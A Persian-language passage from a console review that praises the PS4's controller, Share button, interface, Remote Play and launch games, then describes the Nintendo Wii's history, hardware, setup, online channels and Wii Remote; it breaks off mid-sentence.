به طور کلی باید گفت که بازی کردن با Dual Shock 4 یک تجربه‌ی بی نظیر است. این دسته‌ی بازی کاملا آسان استفاده، پاسخگو، خوش ساخت و البته آشناست. به نظر می‌رسد این دقیقا همان چیزیست که عاشقان بازی با کنسول‌های سونی، از نسل بعدی گیم پد انتظار داشتند. برخلاف Dual Shock 3، نقاط ضعف Dual Shock 4 خیلی کم هستند. متاسفانه بعد از هر 3 یا 4 ساعت استفاده از دسته‌ی بازی، نیاز به شارژ دوباره‌ی آن خواهد بود. می‌توانید دسته را با اتصال از طریق کابل Micro USB به کنسول شارژ کنید.

دکمه‌ی Share
همه‌ی خوبی‌ها و نقاط قوت PS4 به یک طرف، دکمه‌ی Share بر روی Dual Shock 4 نیز در طرف دیگر. این دکمه به شما اجازه‌ی پخش زنده‌ی بازی از طریق Twitch یا Ustream بر روی اینترنت و البته آپلود کلیپ‌های 15 دقیقه ای از بازی در حال انجام شما بر روی فیس‌بوک را می‌دهد. نکته‌ی شگفت آور این است که همه‌ی این کارها را خیلی بی نقص انجام می‌دهد. در هر کجای بازی که باشید، می‌توانید با فشردن دکمه‌ی Share، اپلیکیشن پخش را باز کنید. آپشن های آپلود اسکرین شات و ویدیو، بعلاوه‌ی پخش زنده‌ی بازی دیده می‌شود. شاید Screen Shot کمترین جذابیت را داشته باشد. به صورتی که وقتی دکمه‌ی Share را می فشارید و نگه می‌دارید، می‌توانید عکس صحنه‌هایی از بازی را بر روی فیس‌بوک یا توییتر آپلود کنید. بعلاوه‌ی یک مسیج در زیر آن. از طریق Upload Video Clip نیز می‌توانید قسمت‌هایی تا 15 دقیقه از بازی خود را انتخاب کنید و با مقداری کراپ کردن و ویرایش آن را بر روی شبکه‌ی اجتماعی آپلود کنید.  Live Broadcast یا همان پخش زنده، جذاب‌ترینشان است و می‌توانید پخش زنده‌ی تمام بازی خود را بر روی اینترنت قرار دهید. حتی صدا و تصویر خود شما نیز از طریق میکروفون و دوربین می‌تواند در کنار تصویر زنده‌ی بازی کردن شما قرار گیرد. برای بسیاری از بازی کننده ها، دیگر از این بهتر نمی‌شود و برای ما با این اینترنت لاک پشتی و خسته، چیزی جز حسرت باقی نمی گذارد. به هر صورت دکمه‌ی Share یکی از نقاط قوت بزرگ PS4 است که آینده‌ی 10 ساله‌ی آن را تحت تاثیر قرار می‌دهد.

نرم افزار
بگذارید نکته ای را صادقانه بگوییم، بدون نصب Day One Patch نسخه‌ی 1.5، بر روی PS4 هیچ چیز وجود ندارد. نه سیستم عامل، نه پخش بلوری، نه دسترسی PSN، نه مالتی پلیر آنلاین، نه پلی استیشن استور و نه پخش آنلاین. Day One Patch حدود 323 مگابایتی حجم دارد و پس از دانلود، نصب آن سه دقیقه زمان می‌برد. پس از Restart شدن اتوماتیک، دنیایی در مقابل چشمان شما گشایش می‌یابد.
واسط کاربری دسک تاپ جدید PS4، یک ارتقاء جدی و عالی نسبت به واسط کاربری نسبتا گیج کننده‌ی PS3 به حساب می‌آید. این واسط کاربری در حقیقت یک سری موزائیک‌های مربعی شکل را شامل می‌شود که با انتخاب هرکدام می‌توانید محتوای بیشتر را شاهد باشید. کافیست که برای مثال یک بازی را انتخاب کنید. در این صورت می‌توانید شاهد یک Over View که سازنده‌ی بازی به صورت متن، عکس و ویدیو ارائه می‌دهد یا فعالیت‌های اخیر در شبکه های اجتماعی و نیز بازی‌های مشابه باشید. در حقیقت وقتی دیسک یک بازی جدید را وارد می‌کنید، آن بازی به طور کامل بر روی حافظه‌ی 500 گیگابایتی ذخیره می‌شود و برای همیشه موزائیک آن بر روی دسک تاپ جای می‌گیرد. مگر اینکه آن را Uninstall کنید. همین منوال در مورد بازی‌هایی که از PS Store دانلود می‌کنید هم وجود دارد. وقتی بازی‌ها زیاد می‌شوند، دسک تاپ واقعا جای شلوغی می‌گردد.

به طرز غیر قابل باوری، Music Unlimited تنها آپشن شما برای پخش موسیقی از طریق PS4 است. بالا آمدن Music Unlimited نسبتا طولانی است و زمان زیادی برای این کار طول می‌کشد. بعلاوه کار کردن با آن هم همینطور کند و ناروان است. Hulu Plus و Netflix مقداری سریع‌تر بارگزاری می‌شوند و تجربه‌ی مرورگری وب با آن نیز چندان تفاوتی با کنسول‌های دیگر ندارد. به طور کلی دست و پنجه نرم کردن با محیط وابسته به کیبورد و ماوس، بدون کیبورد و ماوس می‌تواند کاملا مشکل باشد. حتی با وجود تاچ پد باز هم مرورگری وب خیلی آسان نیست.

ریموت پلی
اگر از جمله‌ی کسانی هستید که ناامیدانه فکر می‌کردید ریموت پلی دیگر بر روی PS4 منقرض شده است، می‌توانید خوشحال باشید که این طور نیست. در حقیقت این تصور از آن جا ناشی شد که در روزهای نخست معرفی این کنسول، به خبرنگاران اجازه‌ی انجام ریموت پلی با PS4 داده نشد و همه فکر کردند که اساسا سونی این قابلیت را از روی آن برداشته است. خوب ما باید بگوییم که نه تنها این قابلیت وجود دارد، بلکه تقریبا بی نقص کار می‌کند.
قابلیت ریموت پلی، ویژگی است که به همراه PS Vita کار می‌کند. اگر PS Vita دارید یک انسان خوشبخت هستید، در غیر این صورت یا باید به فکر خرید آن باشید و یا چشمتان به PS Vita ی دوستتان دوخته باشد. پس از آن، چیزی که بر روی PS Vita لازم خواهید داشت، اپلیکیشن PS4 Link خواهد بود. این اپلیکیشن بر روی آخرین نسخه‌ی سیستم عامل Vita موجود است. با ورود به این اپلیکیشن، دو آپشن خواهید داشت. Remote Play و Second Screen. Sencond Screen چیزی نیست جز کنترل واسط کاربری PS4 از طریق صفحه‌ی لمسی Vita. با این حال برای اینکه بتوانید به صورت تمام و کمال، واسط کاربری PS4 را بر روی Vita داشته باشید، بهتر است که Remote Play را انتخاب کنید. پس از آن، سیستم به دنبال Wi-Fi کنسول PS4 می‌گردد و سپس از شما یک کد 8 رقمی برای رجیستر کردن دستگاه درخواست می‌کند. این تنها کاریست که لازم است بکنید و پس از آن، کل اینترفیس PS4 را بر روی نمایشگر Vita داشته باشید. سونی توصیه می‌کند که برای داشتن یک اتصال پایدار تر، Vita و PS4 را از طریق Ethernet متصل کنید. با این حال برای ما از طریق Wi-Fi مشکلی پیش نیامد.
اما واقعا از طریق ریموت پلی و Vita چه کارهایی می‌توان انجام داد؟ جواب این است که تقریبا هر کاری. از انجام بازی گرفته تا مرورگری اینترنت و رفتن در PS Store. واقعیت این است که از طریق Wi-Fi تا فاصله‌ی 6 متری از PS4 بدون هیچ مشکلی کار می‌کردیم. بیشتر از آن می‌توان شاهد یک سری مشکلات در اتصال بود.

بازی‌ها
اگر به دنبال تفنگ، انفجار، آتش و کمی هیجان هستید، بازی Kill Zone: Shadow Fall می‌تواند انتخاب نخست شما باشد. در حقیقت این بازی یکی از آپشن هایی است که می‌توانید توان گرافیکی PS4 را به چالش بکشید. رنگ‌ها، سایه‌ها، کاراکترها، همه و همه چنان گرافیک عمیقی دارند که علاوه بر PS4 می‌توانید دوستانتان که هنوز PS4 نخریده‌اند را نیز به چالش بکشید و به هیجان وادارید.

اما به جز Shadow Fall، بازی‌های شگفت انگیز دیگری هم وجود دارند. Resogun بازی است که واقعا می‌توان آن را یک نمایش گرافیکی دانست. شما یک سفینه‌ی دو بعدی در دنیایی سه بعدی هستید که باید سفینه های فضایی‌ها را شکار کنید و همزمان، ناجی مردم از روی زمین به منطقه ای امن باشید. انفجارها و شلیک گلوله‌ها، بعلاوه‌ی صحنه های گرافیکی خیلی پیچیده، همگی جاهایی هستند که PS4 به خوبی از پس آن‌ها بر می‌آید.

10 دقیقه بیشتر لازم نیست که Knack را بازی کنید و سپس متوجه شوید که آن چیزی نیست جز نسخه‌ی بعدی Crash Bandicoot. بازی، عمق میدان خیلی زیاد و کاراکترهای متحرک متعددی دارد و PS4 از پس همه‌ی آن‌ها به خوبی بر می‌آید. این بازی از آن‌هایی است که خشونتش با شخصیت‌های فانتزی‌تر ترکیب شده تا برای سنین پایین‌تر هم مناسب باشد و در کل یک بازی ملایم به حساب آید.

مطمئنا Battlefield یکی از نام آشناترین بازی‌های PS4 است. از آن بازی‌هایی که چنان شما را در محیط جنگ واقعی غرق می‌کند که کاملا از محیط اطراف جدا می‌شوید. عمق میدان زیاد، انفجارها و تحرکات بسیار، همه و همه از جمله عناصری هستند که تمام توان PS4 را می‌طلبند و خوشبختانه این کنسول خیلی خوب از پس آن‌ها بر می‌آید. Battlefield 4 حقیقتا یک بازی اول شخص محبوب و عالی است.

Assassin Creed دیگر بازی است که در ابتدای حضور PS4 می‌توان آن را بازی کرد. این بازی نیز همانند Battlefield کاملا قدیمی و محبوب است و این بار شما می‌توانید بازی گر نسخه‌ی 4 یا همان Black Flag باشید. شما در محیطی شبیه به جزایر کاراییب بازی می‌کنید و علاوه بر درگیری‌های تن به تن، هدایت یک کشتی را نیز بر عهده خواهید داشت.

جمع بندی
به طور کلی باید گفت، هرچند که می‌دانیم در این دوره و زمانه پول را به زحمت می‌توان پس انداز کرد، ولی واقعیتش این است که PS4 دستگاهیست که ارزش خرج کردن همه‌ی پس‌اندازتان را دارد. کنسول بازی هم چیزی نیست که هر سال بخواهید عوضش کنید، بلکه تا 10 سال دیگر آن را خواهید داشت. تا 10 سال دیگر هم اگر کودک هستید جوان خواهید شد و اگر جوان هستید، پا به سن خواهید گذاشت. بنابراین PS4 می‌تواند دوستی ماندگار برای شما باشد. دوستی که به جز سیستم تشخیص حرکتش، برتری‌های فراوانی نسبت به Xbox One دارد و نسبت به PS3 نیز گویی موجودی از دنیای دگر است.

3) Nintendo Wii U :

Wii یک کنسول ویدیویی ست که توسط شرکت نینتندو عرضه شده است. این کنسول سابقا به اسم رمز پروژه ـ Revolution ـ شناخته می‌شد و جانشینی برای Nintendo GameCube به شمار می‌رفت. البته، شرکتNintendo اعلام کرده بود که کنسول این شرکت جمعیت کثیری از مردم را نسبت به خرید کنسول Xbox 360 ساخت شرکت مایکروسافت و PlayStation 3 ساخت شرکت سونی مورد هدف قرار می‌دهد. با این وجود، این کنسول به عنوان بخشی از نسل هفتم کنسول‌های بازی با دو کنسول دیگر، در سطوح مختلفی رقابت می‌کند.
به عنوان مشخصه‌ی برجسته و بارز این کنسول می‌توان به دسته‌های (controller) بی‌سیم آن اشاره کرد. این دسته‌ها با نام Wii Remote شناخته می‌شوند و به عنوان یک دستگاه اشاره‌گر دستی مورد استفاده قرار می‌گیرند. از دیگر ویژگی‌های آن‌ها می‌توان به قابلیت تشخیص حرکت و چرخش در سه بعد مختلف اشاره کرد. مشخصه‌ی قابل توجه دیگر نیز ورودی کنسول WiiConnect24 است که دستگاه به کمک آن می‌تواند پیام‌های مختلف را دریافت کرده، سیستم را به صورت اینترنتی به روز کند. مصرف برق این کنسول نیز زیاد نیست.

تاریخچه عرضه

شرکت نینتندو برای اولین بار در یک مصاحبه‌ی مطبوعاتی در سال 2004 میلادی بود که از این کنسول نام برد، اما پرده‌برداری آن در سال 2005 صورت گرفت. در نمایشگاه GameShow توکیو در سال 2005 میلادی نمونه‌ای از دسته‌های بازی به نمایش گذاشته شد. این دستگاه در سال 2006میلادی صاحب برترین جایزه از بین چندین جایزه‌ی ویژه شد. نینتندو در 14 و 15 سپتامبر 2006 اطلاعاتی را در مورد قیمت و نحوه‌ی توزیع دستگاه در کشورهای ژاپن، آمریکای جنوبی و شمالی، استرالیا، آسیا و اروپا اعلام کرد. در 7 ژوین سال 2006 میلادی نیز شورای سیاست‌گذاری نینتندو از برنامه‌ی شرکت مبنی بر عرضه‌ی 6 میلیون دستگاه و 17 میلیون نرم‌افزار در طول سال مالی وقت، و تا پایان 31 مارس 2007 خبر داد. در 14 سپتامبر سال 2006 میلادی نیز اعلام شد که سهم بزرگی از کالای فرستاده شده در کشور آمریکا توزیع خواهد شد. 8 دسامبر سال 2006بود که این کنسول در 3 بازار اصلی عرضه گردید. اما هم‌چنان، و از تاریخ دسامبر 2006 به بعد، در کشور انگلستان با کم‌بود شدید عرضه مواجه بودیم و بسیاری از فروشگاه‌ها نتوانستند تقاضای مشتریان را برآورده کنند.

نام کنسول

همان طور که اشاره کردیم، این کنسول تا تاریخ 27 آوریل سال 2006 میلادی و کمی پیش از نمایش‌گاه E3 با اسم رمز Revolution شناخته می‌شد. این نام به طور ساده عبارت است از Wii و نه Nintendo Wii. در واقع می‌توان گفت که کنسول Wii اولین کنسول شرکت نینتندو است که در خارج از ژاپن و بدون نام تجاری شرکت فروخته می‌شود.

همان طور که می‌بینید املای واژه‌ی Wiiبا دو حرف کوچک “i” می‌باشد. این دو حرف در واقع نشان‌گر دو انسان پهلو به پهلو ایستاده است و به بازیکنانی که گرد هم آمدند دلالت می‌کند. از دیگر دلایل این شکل نام‌گذاری می‌توان به شباهت واژه‌ی Wii به واژه‌ی WE به معنای «ما» اشاره کرد (شرکت خواسته بگوید این کنسول، دستگاهی برای همه هست).

بازار 

شرکت نینتندو با طراحی و عرضه‌ی این محصول به در دست گرفتن بخش اعظمی از بازار فکر کرد. سخن‌گوی این شرکت در مصاحبه‌ی مطبوعاتی Dragon Quest IX برای بار چندم اعلام کرد که:
ما به مبارزه با سونی فکر نمی‌کنیم. اما به این فکر میکنیم که چگونه بخش وسیع‌تری از مردم را به بازی کردن با کنسول‌های خود تشویق کنیم. آن‌چه ما به آن فکر می‌کنیم دستگاه‌های قابل حمل، کنسول‌ها و از این قبیل ابزار نیست، بلکه ما می‌خواهیم مخاطبان جدید و بیش‌تری را به بازی کردن با کنسول‌ها تشویق کنیم.

تصویر این موضوع در آگهی‌های تلویزیونی نینتندو در آمریکای شمالی به شکل بسیار موثری منعکس شد. این آگهی‌ها توسط Stephen Gaghan طراحی شده بودن و کارگردانی آن جایزه‌‌ی اسکار برد. به همان اندازه نیز شعار تبلیغاتی اینترنتی « Wii می‌خواهد بازی کند» و «تجربه، راهی جدید برای بازی» همه‌گیر شد. این تبلیغات از 15 نوامبر 2006 پخش شد و هزینه‌ای معادل 200 میلیون دلار در طول یک سال را برای شرکت به همراه داشت. تبلیغات فوق از اولین استراتژی‌های تبلیغاتی بلند مدت شرکت نینتندو به شمار می‌رود.

طراحی کنسول

بسته‌ی Wiiتمام اقلام مورد نیاز شما را برای اتصال دستگاه به یک تلویزیون استاندارد شامل می‌شود: کنسول Wii ، یک دسته بی‌سیم با رابط Nunchuk، میله‌ی گیرنده، یک پایه‌ی جدا شدنی برای این میله، آداپتور کوچک Wii، دو باتری AA، یک عدد کپی بازی Wii Sports و مجموعه‌ای از کابل‌های ترکیبی A/V. متاسفانه، کابل‌های ترکیبی، دستگاه Wii را در رزولوشن 480 پیکسلی (بالاترین رزولوشن دستگاه) پشتیبانی نمی‌کنند.

کنسول Wiiکوچک‌ترین و سبک‌ترین دستگاه بازی نسل جدید است. این کنسول ابعادی با اندازه‌های 44×157×215.4 میلی‌متر دارد. این ابعاد درست همانند وعده‌ی شرکت نینتندو به اندازه‌ی 3 جعبه‌ی dvd است. در این‌جا هم شما می‌توانید همانند PlayStation 3 و Xbox 360 کنسول خود را به صورت عمودی یا افقی قرار دهید.

نمای جلویی کنسول، یک دیسک درایو نوری درخشان را نشان می‌دهد که با دیسک‌های 12 سانتی‌متری بازی‌های Wii و دیسک‌های 8 سانتی‌متری بازی‌های GameCube بدون نیاز به آداپتور سازگار است. شکاف داخلی این دیسک با روشن کردن کنسول به رنگ آبی می‌درخشد و هنگام دریافت اطلاعات جدید لامپ کوچک آن شروع به چشمک زدن می‌کند. این چراغ در صورت عدم وجود اطلاعاتWiiConnect24 خاموش می‌شود. شایان ذکر این که این چراغ در طول انجام بازی روشن نمی‌ماند. کنسول Wiiبه یک حافظه‌ی داخلی 512 مگابایتی مجهز است که برای ذخیره‌ی بازی‌ها، عناوین قابل دانلود کنسول مجازی و اطلاعات دیگر به کار می‌رود. در صورت نا کافی بودن این فضای ذخیره سازی می‌توانید با کارت‌های حافظه‌ی SD کار کنید. شیار مخصوص کارت SD در پشت درپوش جلویی کنسول قرار دارد. کارت‌های SD فراوان و در عین حال، ارزان هستند. این کارت‌ها را می‌توان برای ویرایش عکس‌ها و گرفتن کپی پشتیبان از اطلاعات بازی‌های ذخیره شده و بازی‌های قابل دانلود کنسول مجازی مورد استفاده قرار داد. توجه داشته باشید که اطلاعات کنسول مجازی به جز در دستگاه مبدا، در هیچ سیستمی قابل خواندن نیست. برای استفاده از شیار SD باید نرم‌افزار خاصی را دانلود کنید. از این رو، امکان ذخیره سازی بازی در سیستمی که هنوز به اینترنت متصل نشده است وجود ندارد.

کنسول Wii با تنوع رنگی سفید، سیاه، نقره‌ای، لیمویی، سبز و قرمز به بازار عرضه شده است. البته، در همان اوایل تولید و عرضه‌ی کنسول، سفید تنها رنگ موجود بود. از زمان نمایش تا عرضه‌ی Wii تا کنون، تغییرات کوچک بسیاری در طراحی آن اعمال شده که بیش‌تر این تغییرات در علایم تجاری نینتندو و محل قرارگیری دکمه‌ها بوده است.

این کنسول طوری طراحی شده که دسته‌ی بی‌سیم آن همانند تجهیزات ورزشی متداول عمل می‌کند. به این ترتیب، شما می‌توانید به راحتی بازی‌های مختلفی مانند بیس‌بال، گلف، بولینگ و بوکس را اجرا کنید. بازی‌های مختلفی هستند که به طور هم‌زمان حداکثر از 4 بازی‌کن پشتیبانی می‌کنند. اما برای اجرای بازی‌های چند نفره به بیش از یک دسته نیاز هست. برای گلف و بولینگ می‌توانید ریموت را عقب و جلو کنید. اما اگر می‌خواهید بوکس بازی کنید یا به صورت دو به دویی در مسابقات تنیس یا بیس‌بال در مقابل هم بازی کنید، باید حداقل یک دسته‌ی اضافی دیگر داشته باشید که این دسته‌ی دوم به طور جداگانه به فروش می‌رسد.

به نظر می‌رسد Wii Sport شبیه به کلکسیونی از پنج مینی بازی (Minigame) باشد تا عناوینی با جزییات کامل. اما این به کاربران اجازه می‌دهد تا از بسته‌ی خود نهایت لذت را ببرند و تمام پتانسیل دستگاه را تجربه کنند.

راه‌اندازی کنسول

کنسول Wii طراحی ساده‌ای دارد. به همین خاطر راه‌اندازی‌ آن نیز بسیار راحت و ساده است. صفحه‌ی پشتی کنسول تنها 5 پورت دارد: پورت آدابتور برق، پورت کابل مخصوص A/V، یکی برای میله گیرنده و دو پورتUSB برای اتصلاتی که ممکن است در آینده به آن نیاز داشته باشید. شما فقط کافی ست میله‌ی گیرنده را به برق متصل کرده، آن را در بالا یا در پایین تلویزیون قرار دهید. سپس، کابل ویدیو را به تلویزیون وصل کنید و کابل برق دستگاه را به پریز بزنید. حالا همه چیز آماده است تا به مرحله بعدی بروید.بعد از رعایت تمام موارد و انجام اتصالات لازم، نوبت آن می‌رسد تا دستگاه Wiiرا روشن کنید تا پیکربندی نرم افزار انجام شود. تنظیماتی از قبیل زمان و نام کاربری را به آسانی با اشاره‌گر کنترل از راه دور انتخاب کنید. اما برای تنظیمات فنی باید به شبکه متصل شوید. سیستم منو، کاربران را در طول راه‌اندازی سیستم راهنمایی می‌کند.

اتصال Wi-Fi دستگاه می‌تواند با WEP و شبکه‌های Wi-Fi کد گذاری شده WPA کار کند. بنابراین، شما مجبور نیستید فقط برای بازی کردن به صورت آنلاین شبکه‌ی خود را در معرض آسیب‌های اینترنتی قرار دهید. اگر چه ما برای ارتباط با مسیریاب بی‌سیم مشکلی نداشتیم، اما نتوانستیم اتصال شبکه را امتحان کنیم. اگر شما به Wi-Fi مجهز نیستید، می‌توانید با آدابتور اترنت (Ethernet Adapter) که به یکی از پورت‌های USB متصل می‌شود کار کنید. بعد از اعمال تنظیمات شبکه‌ای Wii، سیستم با استفاده از سرویس WiiConnect24 نینتندو برای آنلاین بودن دایمی برنامه‌ریزی میشود. کنسول با WiiConnect24 سازگار است و می‌تواند به صورت اتوماتیک آپدیت‌های سیستم، بازی‌های اضافی، اخبار و مانند آن را دانلود کند.

رسانه‌ها و قابلیت‌های آنلاین Wii

رابط کاربری سیستم عامل کنسول Wii، تقریبا بر اساس کانال‌های تلویزیونی طراحی شده است. کانال‌های مستقل به صورت گرافیکی در یک شبکه چهارخانه‌ای نمایش داده می‌شوند و به وسیله‌ی قابلیت اشاره‌گر کنترل از راه دور (Wii Remote) هدایت می‌شوند. ناوبری یا هدایت Wiiتوسط یک سری صفحات به نام کانال‌های Wii صورت می‌گیرد که این کانال‌ها از برنامه‌ی WiiConnect24 بهره می‌برند.

شش کانال اولیه عبارتند از:
کانال دیسک (Disc Channel)
کانال Wii
کانال عکس (Photo Channel)
کانال خرید (Wii Shop Channel)
کانال پیش‌بینی وضع هوا (Forecast Channel)
کانال اخبار(News Channel)

کانال پیش بینی وضع هوا در 19 دسامبر 2006 میلادی و کانال اخبار نیز در 27 ژانویه‌ی 2007 میلادی در دست‌رس عموم قرار گرفت.

کانال‌های اینترنت (Internet Channel) و کنسول مجازی (Virtual Console)، دو کانال دیگری هستند که با استفاده از کانال خرید Wii، قابل دانلود می‌باشند. نسخه‌ی بتای کانال اینترنت در 22 دسامبر 2006 منتشر شد و هم اکنون در کانال خرید Wiiبرای دانلود در دسترس همه قرار گرفته است. نسخه‌ی کامل آن نیز در ماه مارس همان سال منتشر شد که تا ماه ژوین رایگان بود.

صفحه‌ی خانگی کانال، ورودی پیش‌فرض سیستم است که دست‌رسی به بازی‌های مبتنی بر دیسک Wiiو GameCube و عناوین کنسول مجازی را مهیا می‌کند.

کانال Mii به کاربران اجازه می‌دهد تاMii ها (تصاویر آنلاین کوچکی که نماینده‌ی یک کاربر در اتاق‌های چت و بازی‌های معینی است) را خلق یا اصلاح کنند. Mii ها کارتونی و بسیار ساده هستند، اما کانال Mii شامل تنظیمات کافی برای کاربرانی است که می‌خواهند Mii هایی را خلق کنند که شبیه خودشان، دوستشان یا حتی اشخاص مشهور باشد. البته به نظر نمی‌رسد وجود اینMii ها چندان ضروری باشد. اما می‌توانند در بازیهایی مثل Wii Sports به عنوان شخصیت‌های بازی و در کانال خبر به عنوان Avatars مورد استفاده قرار گیرند.

کانال عکس نیز امکان نمایش و ویرایش عکس‌ها را فراهم کرده است. از دیگر قابلیت‌های Wii می‌توان به اجرای فایل‌های موزیک و ویدیوهای QuickTime اشاره کرد. توجه داشته باشید فایل‌های MP3 را تنها می‌توانید با نمایش اسلاید عکس‌ها اجرا کنید. البته، ما نتوانستیم یک فیلم QuickTime را در این دستگاه بارگزاری کنیم. در واقع باید گفت مشاهده و ویرایش عکس‌ها کارکرد اصلی کانال عکس می‌باشد. به شما امکان داده شده بیش از 1000 عکس را به کمک کارت SD و در یک زمان لود کنید. هم‌چنین می‌توانید این عکس‌ها را به طور مجزا نگه‌دارید، در آلبوم‌ها به گشت و گذار و جستجوی عکس‌ها بپردازید و یک نمایش اسلاید از آنها را ببینید. کانال عکس به یک ویراستار ساده‌ی عکس مجهز شده که بیش‌تر برای سرگرمی ست تا ویرایش‌های حرفه‌ای. این ویرایش‌گر به شما امکان می‌دهد با یک موسیقی زمینه‌ی شاد و تعدادی گزینه‌ی تصویری بسیار زیبا، تا حد زیادی احساس نقاشی کردن با ماریو در سوپر نینتندوی سابق را به بازیکن منتقل می‌کند.

در مورد رسانه‌ها باید گفت Wii نمی‌تواند سی‌دی‌ صوتی یا ویدیوی DVD را اجرا کند. این کار برای پایین نگه‌داشتن قیمت دستگاه بوده و کنسول نسل پیشین شرکت یعنی مدلGameCube نیز فاقد قابلیت اجرای DVD بود. با این حال، خبری مبنی بر تصمیم نینتندو برای عرضه‌ی کنسولی با قابلیت اجرای ویدیویDVD در ژاپن منتشر شده است.

با وجود محدودیت در حجم فضای ذخیره‌سازی این دستگاه، هم‌چنان تلاشی برای ارتقای حافظه‌ی آن صورت نگرفته و به نظر نمی‌رسد که شرکت در این مورد تصمیمی داشته باشد. کانال خبر، مرکز ارتباطات آنلاین دستگاه Wii است. این کانال برای فرستادن پیغام به دیگر کاربران Wii و با استفاده از کدهای مخفی منحصر به هر فرد مورد استفاده قرار می‌گیرد. البته، ما نتوانستیم این قابلیت را بدون سرور آنلاین نینتندو امتحان کنیم. کانال خبر برای ارایه‌ی گزارش‌های مختلف از تغییرات صورت گرفته در تنظیمات سیستم Wii، مقدار زمان سپری شده در هر بازی و دیگر اطلاعات طراحی شده است.

کنسول مجازی

شما به راحتی می‌توانید با یک کنسول مجازی انواع بازی‌های قدیمی را خریداری کنید. اگر Wiiی شما آنلاین است، فقط کافی ست به کانال خرید Wii بروید و در بازی‌ها جستجو کنید. این بازی‌ها با امتیازات Wii قیمت‌گذاری می‌شوند. امتیازات نیز به صورت کارت در فروشگاه‌های الکترونیکی، یا کارت اعتباری و به صورت مستقیم در فروشگاه‌های Wiiفروخته می‌شوند. صرف نظر از این‌که امتیازتان را چگونه به دست می‌آورید باید این امتیاز را از طریق فروشگاه Wiiبه حساب خود واریز کنید. با یک کارت امتیاز Wii به راحتی می‌توانید با وارد کردن یک کد از طریق دستگاه Wii پرداخت خود را انجام دهید. اگر می‌خواهید امتیازها را مستقیما و به صورت آنلاین بخرید، باید اطلاعات کارت اعتباری خود را با Wiimote و صفحه کلید نرم‌افزاری Wii وارد کنید.

بعد از کسب امتیاز، نوبت به خرید می‌رسد. به فروشگاه Wii بروید و کنسول مجازی را انتخاب کنید. سپس در بازی‌های موجود به جستجو بپردازید. در هر بازی یک اسکرین‌شات از عنوان بازی و شرح مختصری از بازی ارایه شده است. بنابراین می‌توانید قبل از تصمیم به خرید، اطلاعات کمی در مورد بازی داشته باشید. حالا روی دکمه Download کلیک کرده، خرید را تایید کنید. Wii به شما خواهد گفت که دقیقا چه مقدار فضای خالی در دستگاه باقی مانده و بعد از دانلود در حسابتان چند امتیاز است. بعد از تایید خرید، بازی انتخابی به طور اتوماتیک دانلود می‌شود. روند دانلود نیز با انیمیشن 8 کیلوبایتی برادران سوپر ماریو نشان داده می‌شود. مدت زمان دانلود برای بازی‌های NES کمتر از یک دقیقه و برای بازی‌هایNintendo 64 games حدودا 10 دقیقه است. بعد از دانلود کامل بازی، این برنامه به منوی اصلی فروشگاه Wiiبرمی‌گردد. اجرای بازی‌های دانلودشد‌ه‌ی کنسول مجازی به راحتی انتخاب‌کانال‌ها و فشردن دکمه‌‌ی شروع است.
بازی‌های کنسول مجازی در اصل تقلید کاملی از نمونه‌های اصلی‌شان هستند و جنبه‌های خوب و بد خودشان را دارند. اگر یک بازیکن حرفه‌ای باشید مطمئنا از گیم پلی بازی‌های قدیمی هیجان‌زده می‌شوید. اما نا امیدی بازیکنان غیر‌حرفه‌ای که از بازی‌های قدیمی انتظار گرافیک به‌تری دارند چندان دور از انتظار نیست. با چرخاندنWiimote از پهلو، کارکرد آن به کارکرد دسته‌های قدیمی بازی‌های NES و Turbographix-16 تغییر می‌کند. به هر حال، برای بازی های SNES،Genesis و N64 به یک دسته‌ی قدیمی GameCube متصل به یکی از پورت‌های قدیمی GC یا دسته‌ی کنسول مجازی Wiiمتصل به Wiimote نیاز دارید.

کاربرانی که با صفحات وایداسکرین کار می‌کنند باید توجه داشته باشند که تلویزیون‌های وایداسکرین از بازی‌های قدیمی کنسول مجازی پشتیبانی نمی‌کنند. اگر با یک تلویزیون صفحه پهن کار می‌کنید، بازی‌های قدیمی به طور قابل ملاحظه‌ای کش می‌آیند. البته، ممکن است در آینده‌ یک آپدیت میان‌افزاری برای حل این مشکل ارایه شود. تنها راه حل این مشکل این است که نسبت تصویر تلویزیون را برای بازی‌های کنسول مجازی روی 4:3 تنظیم کنید و برای بازی‌های عادی دوباره آن را روی صفحه تصویر پهن برگرانید.

کنترل از راه دور Wii به صورت یک‌پارچه طراحی شده و از سرعت‌سنج و نشان‌گر مادون قرمز برای دریافت موقعیت در یک فضای 3 بعدی استفاده می‌کند. به این ترتیب، کاربران می‌توانند با حرکات فیزیکی و فشار دادن دکمه‌ها کنترل کنند. Wiimote در واقع یک کنترل‌کننده‌ی پیشرفته‌ی حساس به حرکت است که به صورت بی‌سیم و با استفاده از پروتکل بی‌سیم بلوتوث با Wiiارتباط برقرار می‌کند. Wii Remote می‌تواند با استفاده از تکنولوژی بلوتوث حرکات شما را از فاصله ای 30 فوتی به کنسول Wii بفرستد. به عنوان یک دستگاه اشاره گر، این دسته می‌تواند سیگنال‌ها را از فاصله‌ی 15 فوتی بفرستد. امکان پشتیبانی از 4 بازی‌کن به طور هم‌زمان نیز در نظر گرفته شده است.

البته، این طراحی انقلابی کاملا بی‌سیم نیست. برای کارکرد دستگاه، ضروری ست میله‌ی گیرنده را در بالا یا پایین صفحه‌ی تلویزیون قرار داد. خوشبختانه میله‌ی گیرنده تا حد زیادی ناپیدا ست و ما حتی تا دقایقی بعد از راه‌اندازی سیستم فراموش کردیم که میله آن جا ست. میله گیرنده یک پلاستیک مستطیل شکل کوچک و سبک در حد و اندازه‌ی دو قلم است که به صورت افقی و پشت سرهم قرار گرفته‌اند. این میله با یک کابل خیلی بلند (در حدود 8 فوت) به دستگاه متصل می‌شود و برپایی آن آسان و راحت است.

سرعت‌سنج‌های داخل ریموت چگونگی در دست گرفتن دستگاه و حرکات آن را در جهات مختلف تشخیص می‌دهند. این سنسورها حرکاتی از قبیل ضربه با چوب بیسبال یا چوب گلف را در بازی Wii Sport، ضربه‌ی سریع شمشیر را در بازی The Legend of Zelda: Twilight Princess و حتی هدایت کامیون‌ها را در بازی Excite Truck کنترل می‌کنند. علاوه بر این، بسته به نوع بازی می‌توانید Wiimote را به طرق مختلف نگه‌دارید: شبیه یک دسته شمشیر در Zelda and Red Stee، مانند یک راکت تنیس یا چوب بیس بال در Wii Sports یا به صورت افقی به عنوان میله‌ی فرمان در Excite Truck. به علت وزن سبک Wiimote، عادت کردن به این کنترل‌ها کمی زمان‌بر است. خوشبختانه یک بلندگو و یک مدل ازعکس العمل نیرو در داخل Wiimote تعبیه شده که می‌تواند نسبت به حرکات شما، عکس العمل‌های صوتی و بساوایی نشان دهد. حتی انتخاب منوها 